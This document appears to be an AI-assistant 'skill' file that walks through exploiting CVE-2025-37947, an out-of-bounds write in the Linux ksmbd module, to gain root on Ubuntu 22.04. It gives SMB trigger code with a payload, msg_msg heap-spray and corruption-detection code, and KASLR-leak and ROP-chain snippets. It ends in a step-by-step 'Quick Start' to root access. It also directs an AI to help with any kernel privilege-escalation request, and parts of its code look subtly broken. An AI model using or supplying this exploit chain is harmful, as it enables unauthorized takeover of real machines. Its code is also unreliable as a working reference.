Hacktricks-skills ksmbd-cve-2025-37947-exploit
Use this skill when the user needs to understand, analyze, or exploit CVE-2025-37947 (ksmbd streams_xattr OOB write vulnerability) for local privilege escalation on Linux. Trigger this skill for any questions about ksmbd kernel exploitation, the msg_msg + pipe_buffer primitive, heap grooming strategies, or when the user mentions ksmbd, streams_xattr, CVE-2025-37947, or wants to perform kernel LPE on Ubuntu 22.04 with ksmbd enabled.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/binary-exploitation/linux-kernel-exploitation/ksmbd-streams_xattr-oob-write-cve-2025-37947/SKILL.MDksmbd CVE-2025-37947 Exploitation Skill
This skill provides comprehensive guidance for understanding and exploiting CVE-2025-37947, a deterministic out-of-bounds write vulnerability in the ksmbd kernel module that enables local privilege escalation on Ubuntu 22.04 LTS (5.15.0-153-generic).
When to Use This Skill
Use this skill when:
- The user asks about ksmbd vulnerabilities or CVE-2025-37947
- The user needs to perform kernel LPE on a system with ksmbd enabled
- The user wants to understand the msg_msg + pipe_buffer exploitation primitive
- The user needs help with kernel heap grooming or page shaping
- The user is researching kernel exploitation techniques
- The user mentions streams_xattr, SMB shares, or ksmbd_vfs_stream_write
Vulnerability Overview
Root Cause
The vulnerability exists in
fs/ksmbd/vfs.c in the ksmbd_vfs_stream_write() function:
static int ksmbd_vfs_stream_write(struct ksmbd_file *fp, char *buf, loff_t *pos, size_t count) { char *stream_buf = NULL, *wbuf; size_t size; size = *pos + count; if (size > XATTR_SIZE_MAX) { // [1] clamp allocation size = XATTR_SIZE_MAX; // 0x10000 (64KB) count = (*pos + count) - XATTR_SIZE_MAX; // [1.1] recompute count } wbuf = kvmalloc(size, GFP_KERNEL | __GFP_ZERO); // [2] alloc 0x10000 stream_buf = wbuf; memcpy(&stream_buf[*pos], buf, count); // [3] OOB when *pos >= 0x10000 kvfree(stream_buf); return err; }
The bug: When
*pos >= 0x10000, the destination pointer &stream_buf[*pos] is already outside the allocated buffer, but memcpy still writes count bytes, causing an out-of-bounds write.
Offset Steering
Example calculation:
- Set
,pos = 0x10018count = 8 - After clamping:
(32 bytes)count' = (0x10018 + 8) - 0x10000 = 0x20
writes 32 bytes starting atmemcpystream_buf[0x10018]- This is 0x18 bytes beyond the 16-page allocation
Prerequisites
System Requirements
- Ubuntu 22.04 LTS with kernel 5.15.0-153-generic (or similar 5.15.x)
- ksmbd kernel module loaded
- SMB share configured with
vfs objects = streams_xattr - User account with access to the SMB share
SMB Share Configuration
# /etc/samba/smb.conf [share] path = /share vfs objects = streams_xattr writeable = yes browseable = yes
Required Tools
library for SMB2/3 communicationlibsmb2
for compiling exploit codegcc
orbpftrace
for eBPF tracing (optional but recommended)bcc
for debugginggdb
Exploitation Strategy
High-Level Plan
The exploitation uses the msg_msg + pipe_buffer primitive (adapted from CVE-2021-22555):
- Heap Grooming: Pre-shape physical memory so a target lies immediately after the 16-page kvmalloc buffer
- Trigger OOB: Use SMB streams write to corrupt adjacent kernel object
- Corrupt msg_msg: Overwrite a primary message's next pointer to create shared secondary
- Detect Corruption: Scan message queues to find mismatched tags
- Use-After-Free: Free real secondary, reclaim with fake msg_msg via UNIX sockets
- Infoleak: Abuse m_ts over-read to leak kernel heap pointers (bypass SMAP)
- Stabilize: Rebuild consistent fake msg_msg with sk_buff spray
- KASLR Bypass: Reclaim UAF with pipe_buffer, leak anon_pipe_buf_ops
- ROP Chain: Spray fake pipe_buf_operations with ROP gadget, execute to gain root
Stage 1: Heap Grooming
The
kvmalloc(0x10000, GFP_KERNEL|__GFP_ZERO) allocates an order-4 (16 contiguous pages) block from the buddy allocator. You must pre-groom memory so a chosen target lies immediately after this block.
# Check per-order freelists and migrate types sudo cat /proc/pagetypeinfo | sed -n '/Node 0, zone Normal/,/Node/p' # Run eBPF tracer to monitor allocations sudo ./scripts/bpf-tracer.sh
Grooming Strategy:
- Spray ~1000-2000 msg_msg objects of ~4096 bytes (fits kmalloc-cg-4k)
- Receive some messages to punch holes and encourage adjacency
- Exhaust order-3 and order-4 freelists to force allocator to split order-5 block
- This creates adjacent order-4 + order-3 pair
- Park order-3 slab (kmalloc-cg-4k) directly after stream buffer
Stage 2: Trigger OOB Write
// Minimal reachability via libsmb2 #include <smb2/libsmb2.h> struct smb2_context *smb2; struct smb2_tcon *tcon; struct smb2_fd *fd; // Authenticate smb2 = smb2_init("127.0.0.1"); smb2_set_dialect(smb2, SMB2_DIALECT_21); smb2_session_login(smb2, "username", "password", "workgroup"); // Connect to share tcon = smb2_tree_connect(smb2, "\\\\127.0.0.1\\share"); // Open file with stream fd = smb2_open(smb2, tcon, "\\file:stream", O_RDWR); // Trigger OOB: pos=0x10018, len=8 → 32-byte OOB write char payload[8] = {0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; smb2_pwrite(fd, payload, 8, 0x0000010018ULL); // Cleanup smb2_close(fd); smb2_tree_disconnect(tcon); smb2_session_logout(smb2); smb2_free(smb2);
Stage 3: msg_msg Corruption
// Spray msg_msg objects #define MSG_SIZE 4096 #define SPRAY_COUNT 1500 int msgq = msgget(IPC_PRIVATE, 0666); struct msghdr msg; char *buf = malloc(MSG_SIZE); for (int i = 0; i < SPRAY_COUNT; i++) { msg.msg_base = buf; msg.msg_len = MSG_SIZE; msg.msg_type = i + 1; // Tag each message msgsnd(msgq, &msg, MSG_SIZE, 0); } // Punch holes to create adjacency for (int i = 0; i < 100; i++) { msgrcv(msgq, buf, MSG_SIZE, i + 1, 0); }
Stage 4: Detect Corruption
// Scan for corrupted message pairs for (int type = 1; type <= SPRAY_COUNT; type++) { struct msghdr msg; msg.msg_base = buf; msg.msg_len = MSG_SIZE; msg.msg_type = type; ssize_t ret = msgrcv(msgq, &buf, MSG_SIZE, type, MSG_COPY | IPC_NOWAIT); if (ret > 0) { // Check if m_ts (timestamp field) contains unexpected data // This indicates corruption if (is_corrupted(buf)) { printf("Found corrupted message at type %d\n", type); break; } } }
Stage 5-9: Full Exploitation
See the full exploit code at: https://github.com/doyensec/KSMBD-CVE-2025-37947/blob/main/CVE-2025-37947.c
Observability and Debugging
eBPF Tracer
Run the provided tracer to monitor kvmalloc addresses:
sudo ./scripts/bpf-tracer.sh
This logs allocation addresses and sizes, helping verify heap grooming:
# Check for 4096-byte allocations (msg_msg objects) grep 4048 out-4096.txt # Check for 65536-byte allocations (stream buffer) grep 65536 out-65536.txt
Kernel Memory Inspection
# View pagetypeinfo for heap state sudo cat /proc/pagetypeinfo # Check slab caches sudo cat /proc/slabinfo | grep -E 'kmalloc-cg-4k|msg_msg' # Monitor kernel messages sudo dmesg -w
Key Parameters to Tune
| Parameter | Typical Value | Purpose |
|---|---|---|
| msg_msg spray count | 1000-2000 | Populate order-3 slabs |
| Hole punch count | 50-150 | Create adjacency opportunities |
| OOB offset (pos) | 0x10018 | Control OOB write location |
| OOB length (count) | 8 | Results in 32-byte OOB after clamping |
| UNIX socket spray | 50-100 | Reclaim UAF with fake msg_msg |
| sk_buff spray | 100-200 | Stabilize fake msg_msg |
| pipe_buffer spray | 20-50 | Reclaim for KASLR bypass |
Bypassing Mitigations
KASLR
Leak
anon_pipe_buf_ops address via pipe_buffer UAF:
// After pipe_buffer spray and free // Read from pipe to trigger infoleak read(pipe_fd, buf, sizeof(buf)); // Extract anon_pipe_buf_ops pointer anon_pipe_buf_ops = *(uint64_t*)(buf + offset); // Calculate kernel base kernel_base = anon_pipe_buf_ops - anon_pipe_buf_ops_offset;
SMEP/SMAP
Execute ROP chain in kernel context via
pipe_buf_operations->release:
// Fake pipe_buf_operations structure struct fake_pipe_buf_ops { uint64_t release; // Points to ROP gadget uint64_t reserved; uint64_t ops[10]; }; // ROP chain for privilege escalation uint64_t rop_chain[] = { gadget_disable_smep_smap, gadget_prepare_kernel_cred, gadget_commit_creds, gadget_ret };
Hardened Usercopy
Not applicable - the page overflow primitive corrupts non-usercopy kernel fields directly.
Reliability and Tuning
- Success rate: High once adjacency is achieved (~90%+)
- Common failures: <10% panics or misses
- Improvement tips:
- Overwrite two LSBs of pointer to induce specific collisions
- Write pattern
into overlap region0x0000_0000_0000_0500 - Tune spray/free counts based on kernel version
- Use eBPF tracing to verify heap state before triggering
Safety Warnings
⚠️ IMPORTANT: This skill is for educational and security research purposes only.
- Only test on systems you own or have explicit authorization to test
- Kernel exploitation can cause system instability or crashes
- This vulnerability affects specific kernel versions - check your system
- Always have backups before testing kernel exploits
- Consider using VMs for testing
References
- Doyensec Blog: ksmbd - Exploiting CVE-2025-37947 (3/3)
- Proof of Concept
- Full Exploit
- eBPF Tracer Script
- libsmb2 Library
Quick Start
To begin exploitation:
- Verify system is vulnerable (kernel 5.15.x with ksmbd)
- Configure SMB share with streams_xattr
- Run heap grooming script
- Trigger OOB write via SMB
- Execute full exploit chain
- Verify root access
Use the provided scripts and adapt parameters based on your system configuration.